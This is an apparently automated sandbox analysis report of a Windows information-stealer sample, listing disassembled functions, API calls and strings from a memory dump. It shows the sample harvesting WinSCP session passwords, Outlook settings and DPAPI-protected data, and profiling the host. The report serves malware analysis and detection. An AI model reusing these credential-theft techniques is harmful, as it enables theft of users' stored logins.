Part of subcall function 00416B94: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Part of subcall function 00416B94: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF

Sleep.KERNEL32(00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ), ref: 004174CD
Sleep.KERNEL32(00000001,004175A8,[Soft],?,00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ), ref: 004174EC

Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

Computer(Username) : , xrefs: 00417364
Windows : , xrefs: 004172F8
MachineID : , xrefs: 004172B0
, xrefs: 004172E5, 00417472, 00417490
EXE_PATH : , xrefs: 004172D3
Screen: , xrefs: 004173BD
[Soft], xrefs: 004174D4
Zone: , xrefs: 00417462
Layouts: , xrefs: 0041741C
LocalTime: , xrefs: 0041743F

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumInfoMetricsOpen$CreateFirstFreeInformationLocaleProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 441461025-943277980
Opcode ID: c695cf2f64643f6a8b9bdd899a899abbc7edb470dd547c53306ff2a9d56b2676
Instruction ID: 9ad36b54795493928cf4d7680a901020c7452f2e53798e9be21810986d7bb062
Opcode Fuzzy Hash: c695cf2f64643f6a8b9bdd899a899abbc7edb470dd547c53306ff2a9d56b2676
Instruction Fuzzy Hash: A2714E30A44109ABCF01FFD1CC42FCDBBBAAF48309F60407BB104B65D6D67DAA468A19

Function 00415F30 Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 305
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 00407500: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs, xrefs: 00415F72, 00416135
(), xrefs: 00416304
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==, xrefs: 00415FE8, 00416089, 004161AB, 0041624C
, xrefs: 0041633A
RGlzcGxheU5hbWU=, xrefs: 00415FB9, 0041617C
RGlzcGxheVZlcnNpb24=, xrefs: 0041605A, 0041621D
), xrefs: 004160E7, 004162AA

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Open$EnumFreeString$QueryValue
String ID: $()$)$RGlzcGxheU5hbWU=$RGlzcGxheVZlcnNpb24=$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==
API String ID: 811798878-3013244427
Opcode ID: 0a802d6b2b28f8a3cec4c5b369de7d2647960f4ce8c56f56f322f6ceca72c3d5
Instruction ID: 33798bc805095534a257e2f05040e6cfe59ff7211d39a9aa4329e2c1f04a858c
Opcode Fuzzy Hash: 0a802d6b2b28f8a3cec4c5b369de7d2647960f4ce8c56f56f322f6ceca72c3d5
Instruction Fuzzy Hash: 34C124B1A001189BD710EB55CC81BCEB7BDAF44309F5145FBA608B7286DA38AF858F5D

Function 0040C61C Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 189registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040C917,?,0041B0FC,00000000,0000010A,00000000,00000000,?,0040D838,00000000,0040D863), ref: 0040C662

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 00407500: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582

Strings

WinSCP, xrefs: 0040C886
word, xrefs: 0040C760
HostName, xrefs: 0040C6AA
Pass, xrefs: 0040C753
UserName, xrefs: 0040C741
Software\Martin Prikryl\WinSCP 2\Sessions\, xrefs: 0040C63F
PortNumber, xrefs: 0040C6FA

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Open$QueryValue
String ID: HostName$Pass$PortNumber$Software\Martin Prikryl\WinSCP 2\Sessions\$UserName$WinSCP$word
API String ID: 2123561561-2322492109
Opcode ID: 2549a3845886fb1d73b90281738a441e75dfd7ec2147bef4fc19a8b7e40004cd
Instruction ID: 5d9faefb47a508b6b932707abb8d3e63a2159bc82d2b43fde2965f92b9b3847f
Opcode Fuzzy Hash: 2549a3845886fb1d73b90281738a441e75dfd7ec2147bef4fc19a8b7e40004cd
Instruction Fuzzy Hash: 5781DA74A0011D9BDB10EB55C881BDEB3FDFF48309F1081BAA548B7295DA34AF458F99

Function 00416740 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 004167A8
GetRAM: , xrefs: 00416833
Video Info, xrefs: 00416856
CPU Count: , xrefs: 004167EF
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 0041678C
CPU Model: , xrefs: 0041677E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: 5132eeb7f806ffcce6600860813d658f9c141ea878eb7d5a298b8541f7ce37a4
Instruction ID: ec5783c0b7ca42e81122729fbed3a1ddf4b85dfc6774dd9c704540b43fb157b1
Opcode Fuzzy Hash: 5132eeb7f806ffcce6600860813d658f9c141ea878eb7d5a298b8541f7ce37a4
Instruction Fuzzy Hash: 64411270A1010D9BDB01FFD1D882ADDBBB9EF48309F51403BF504B7296D639EA458B59

Function 00416744 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 004167A8
GetRAM: , xrefs: 00416833
Video Info, xrefs: 00416856
CPU Count: , xrefs: 004167EF
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 0041678C
CPU Model: , xrefs: 0041677E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: 4c721573790b637321503a34bf9f9130f875e835aa05bc4e5c44d90894d68e0a
Instruction ID: 93658ecaa3e0ddcdd5b33a88495a7f5ee5c1cb8a97fdfd99440d65a07410f67b
Opcode Fuzzy Hash: 4c721573790b637321503a34bf9f9130f875e835aa05bc4e5c44d90894d68e0a
Instruction Fuzzy Hash: DF411F70A1010DABDB01FFD1D882ACDBBB9EF48309F61403BF504B7296D639EA458A58

Function 00407168 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407293,?,?), ref: 004071B4
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 004071CA
GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 004071DF
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004071F5
ReadFile.KERNEL32(000000FF,004147A5,?,LLA,00000000,00000000,00407263,?,?,?), ref: 00407246
CloseHandle.KERNEL32(000000FF,0040726A), ref: 00407260

Strings

LLA, xrefs: 0040722F, 00407232

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$AttributesCreate$AllocCloseHandleReadString
String ID: LLA
API String ID: 2383866247-3688291513
Opcode ID: 75eb9d9cc74f66bbc11c0e4bff8767fcc953f0eb9a1eeebabd35c08362e6773b
Instruction ID: 15f3138c5d2d0105ebd27124ca223b3e8d37c88ea2c7106052068400f28ec596
Opcode Fuzzy Hash: 75eb9d9cc74f66bbc11c0e4bff8767fcc953f0eb9a1eeebabd35c08362e6773b
Instruction Fuzzy Hash: 5F31D970A04208AFD711DFA9DC92FAEB7F8EB49710F504076F514F72A0D734AE048A59

Function 00416584 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,00000000,0041660E,?,0041B0FC,?), ref: 004165AB
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004165B1
GlobalMemoryStatusEx.KERNEL32(00000040,00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,0041660E,?,0041B0FC,?), ref: 004165D2

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Strings

kernel32.dll, xrefs: 004165A6
GlobalMemoryStatusEx, xrefs: 004165A1
@, xrefs: 004165C7

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressFreeGlobalLibraryLoadMemoryProcStatusString
String ID: @$GlobalMemoryStatusEx$kernel32.dll
API String ID: 420089832-3878206809
Opcode ID: 8e854a2ba74b1c5241b7f672217e8f5dde30ec227ceeb4d776eac7be45f0136a
Instruction ID: ae4c68d41a3a4174a937c26ab83d8f0c6d254553f6270358502c1b43c0ddce29
Opcode Fuzzy Hash: 8e854a2ba74b1c5241b7f672217e8f5dde30ec227ceeb4d776eac7be45f0136a
Instruction Fuzzy Hash: A3018871A002086BD711EBA5DC42E8EB7BDEB88744F61413AF504B32D1E77CAD01855C

Function 0040B4F0 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 474registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040BC91,?,00000000,0041B0FC,00000000,00000000,00000000,?,0040BDCD,00000000,0040BE3B), ref: 0040B5CE

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 00407500: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582

Strings

Outlook, xrefs: 0040BB86
Email, xrefs: 0040B74F, 0040B88A
://, xrefs: 0040BB3E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Open$QueryValue
String ID: ://$Email$Outlook
API String ID: 2123561561-3514658839
Opcode ID: 1b91c70bddef8855b1c57f48077b17458388f3819d2c8f6e2dca049ebc445301
Instruction ID: e1c3844307c2052eba75b247cc482dfae18de03193ffd78a417120a12b23954d
Opcode Fuzzy Hash: 1b91c70bddef8855b1c57f48077b17458388f3819d2c8f6e2dca049ebc445301
Instruction Fuzzy Hash: F4120E34A40159ABDB10EB55CC81FDEB7B9EF44304F1040BAB548B72D5DBB8AE858F98

Function 004095A4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00409890,?,.tmp,?,?,?,00000000,00000000,00000000,?,?,00409A1F), ref: 00409676

Part of subcall function 004094C4: CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 004094E5
Part of subcall function 004094C4: LocalFree.KERNEL32(?), ref: 0040950A

DeleteFileW.KERNEL32(00000000), ref: 004097FB

Strings

%TEMP%, xrefs: 0040962E
.tmp, xrefs: 0040960E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$CopyCryptDataDeleteFreeLocalUnprotect
String ID: %TEMP%$.tmp
API String ID: 691380987-3650661790
Opcode ID: aff096bd16069cd4b177f000ef9ea30393db51c7283037b831e6c9d6e30e9123
Instruction ID: 0066d1c1be5024352ad70b1cbef22ae6b56226110b13b2bd45aebffaaabcbc52
Opcode Fuzzy Hash: aff096bd16069cd4b177f000ef9ea30393db51c7283037b831e6c9d6e30e9123
Instruction Fuzzy Hash: 3981A471A10109AFDB00EB99D881E9EB7B9EF48304F108576F514F72A2DA39AE058B59

Function 0040DDB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C), ref: 0040DE38
DeleteFileW.KERNEL32(00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C,00000001,?), ref: 0040DE7A

Strings

%TEMP%\curbuf.dat, xrefs: 0040DE1C, 0040DE44, 0040DE67
LLA, xrefs: 0040DE19, 0040DE26

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$AllocCopyDeleteString
String ID: %TEMP%\curbuf.dat$LLA
API String ID: 5292005-3909751444
Opcode ID: b798be6d7d0ebf9bf1a56ba25b348adeabac667b7a7b4344f003544cc533032e
Instruction ID: d3139e3bb668dcd489f787ebceafddff3eb8ed9e6fe86914fc70b8a9fa006da4
Opcode Fuzzy Hash: b798be6d7d0ebf9bf1a56ba25b348adeabac667b7a7b4344f003544cc533032e
Instruction Fuzzy Hash: 3E21FC74D10509ABDB00FBE5C88299EB7B9AF54305F50857BF400B72D2D738AE058A99

Function 0040955E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(crypt32.dll,CryptUnprotectData), ref: 00409573
GetProcAddress.KERNEL32(00000000,crypt32.dll), ref: 00409579

Strings

crypt32.dll, xrefs: 0040956E
CryptUnprotectData, xrefs: 00409569

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 2574300362-1827663648
Opcode ID: 75ffce093a627a703e76a5faf482da699b1f717085a244e79174a14ab70f32b7
Instruction ID: 1936ed15528034ef1a8706b88be01f12f22861c51f7a066308f0a1848fab801f
Opcode Fuzzy Hash: 75ffce093a627a703e76a5faf482da699b1f717085a244e79174a14ab70f32b7
Instruction Fuzzy Hash: 89C04CF368030376CF466B779D4A5462294B7C1B1D760493BF511B11D2D6BC8D404F5D

Function 00407C58 Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

LookupAccountSidA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,?,00000000,00407D16), ref: 00407CD9
CheckTokenMembership.KERNELBASE(00000000,00000000,?), ref: 00407CEC
FreeSid.ADVAPI32(00000000,00407D1D), ref: 00407D10

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AccountCheckFreeLookupMembershipToken
String ID:
API String ID: 1602037265-0
Opcode ID: 2fd40f1cd6d938c6e5d16d2cd6dc980c4c8d1b789cf8552ef7046a50898a570f
Instruction ID: 099d520652cb879bdf47a43f009fc20e3076d83f6f5b891ba4a5cda1263a2b72
Opcode Fuzzy Hash: 2fd40f1cd6d938c6e5d16d2cd6dc980c4c8d1b789cf8552ef7046a50898a570f
Instruction Fuzzy Hash: 7821A475A04209AFDB41CFA8DC51FEEB7F8EB48700F104466EA14E7290E775AA01DBA5

Function 004072A0 Relevance: 4.6, APIs: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

CreateFileW.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000000,00000000,00000000,00407334,?,00000000), ref: 004072EA
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00407307
CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00407314

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FileString$AllocCloseCreateFreeHandleWrite
String ID:
API String ID: 4097030272-0
Opcode ID: 96112cf46e63d2d263f6c586123e846ce9d1e06681dd97ffb7b674c20077b506
Instruction ID: 3b510cbaec4aa3dd23b0a59a32c8df0f07f2b1188254ef1f4a9bf23c6d4a84f0
Opcode Fuzzy Hash: 96112cf46e63d2d263f6c586123e846ce9d1e06681dd97ffb7b674c20077b506
Instruction Fuzzy Hash: 4311EC70A04208BBD711EB65CC82F9EBBACEB48704F504076B914F72D1DA746E048A58

Function 004013EC Relevance: 3.8, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040140A
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040142F
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 00401455

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction ID: 45c7259c7c7f7a53f47d7ebf7c15b413a2e3392a3d77efebc7c94e45ea16ea77
Opcode Fuzzy Hash: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction Fuzzy Hash: 93F0C8B17403206ADB319A294C85F537AD49B4A764F144176BB08FF3DAD675580086AC

Function 00417094 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

UTC+, xrefs: 00417105

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: 1046955f6ff4cd58d7fbe5d7b9ecbab25abad90a7201c39de0429cb196e3f3e3
Instruction ID: 7cb0a8ca1bf39953f010b15065abca6362deebc9d482a7f0187c0908cc86bad5
Opcode Fuzzy Hash: 1046955f6ff4cd58d7fbe5d7b9ecbab25abad90a7201c39de0429cb196e3f3e3
Instruction Fuzzy Hash: A8215E747087145FDB55DB298C41B99B6FAAB8D300F1181FAB80CE3391D7389E458A15

Function 004040F4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 00404101

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: SOFTWARE\Microsoft\Cryptography
API String ID: 2525500382-1514646153
Opcode ID: 6827334effe1af4081dab58951797ab719276b71555c5be752b1280ab307ebe8
Instruction ID: 809722c095ea45080b132ee1ecccaea0ad8e4e48b5b2181e80121cad3d0a43f6
Opcode Fuzzy Hash: 6827334effe1af4081dab58951797ab719276b71555c5be752b1280ab307ebe8
Instruction Fuzzy Hash: E6D012F42001025AD7489F198555A37776E5BD1700368C6BEA101BF2D5DB39E841EB34

Function 00407500 Relevance: 3.1, APIs: 2, Instructions: 76registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AllocOpenQueryStringValue
String ID:
API String ID: 4139485348-0
Opcode ID: 3ed5b2ee1dba194cc6dbe336fcadb55ada54ae4c4b70a41d90ff88955bf18e37
Instruction ID: a534eb6d79e9af16e12b264bd48d331209bfd9d9316274433d90d6d6e5d4440a
Opcode Fuzzy Hash: 3ed5b2ee1dba194cc6dbe336fcadb55ada54ae4c4b70a41d90ff88955bf18e37
Instruction Fuzzy Hash: 1921C771A04109AFD700EB99CD81EEEBBFCEB48304F504576B904E7691D774AE448A65

Function 00406DA8 Relevance: 3.1, APIs: 2, Instructions: 58registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406E08
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406E2F

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 42e8ac0eb481dbdee281ab6c948f954a5f7be2f1dbc7aad8dbdbf02e747b1a52
Instruction ID: d76901b39ac324b957afaa178e8467113ca23e905bfc9c7565385042a447591e
Opcode Fuzzy Hash: 42e8ac0eb481dbdee281ab6c948f954a5f7be2f1dbc7aad8dbdbf02e747b1a52
Instruction Fuzzy Hash: 4E110A71600209AFD700EB99C991ADEBBFCEB48304F504176B504E3291D774AF048AA5

Function 00406DAC Relevance: 3.1, APIs: 2, Instructions: 58registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406E08
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406E2F

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 2211f0de82845023bd4461a93eb36700242ae8860f2016ef3c98de18d7d5de81
Instruction ID: 82cb5f20ed390e82a860d028ca805bd23af48b7bdc57f11f8f6bbfe72b4b229b
Opcode Fuzzy Hash: 2211f0de82845023bd4461a93eb36700242ae8860f2016ef3c98de18d7d5de81
Instruction Fuzzy Hash: 0211EC75600209AFD701EB99CD81EDEBBFCEB48704F504576B504F3291DB74AF448AA5

Function 00403C74 Relevance: 3.0, APIs: 2, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 00403B8E
SysAllocStringLen.OLEAUT32(00000000,00000100), ref: 00403C7F
SysFreeString.OLEAUT32(00000000), ref: 00403C91

Memory Dump Source

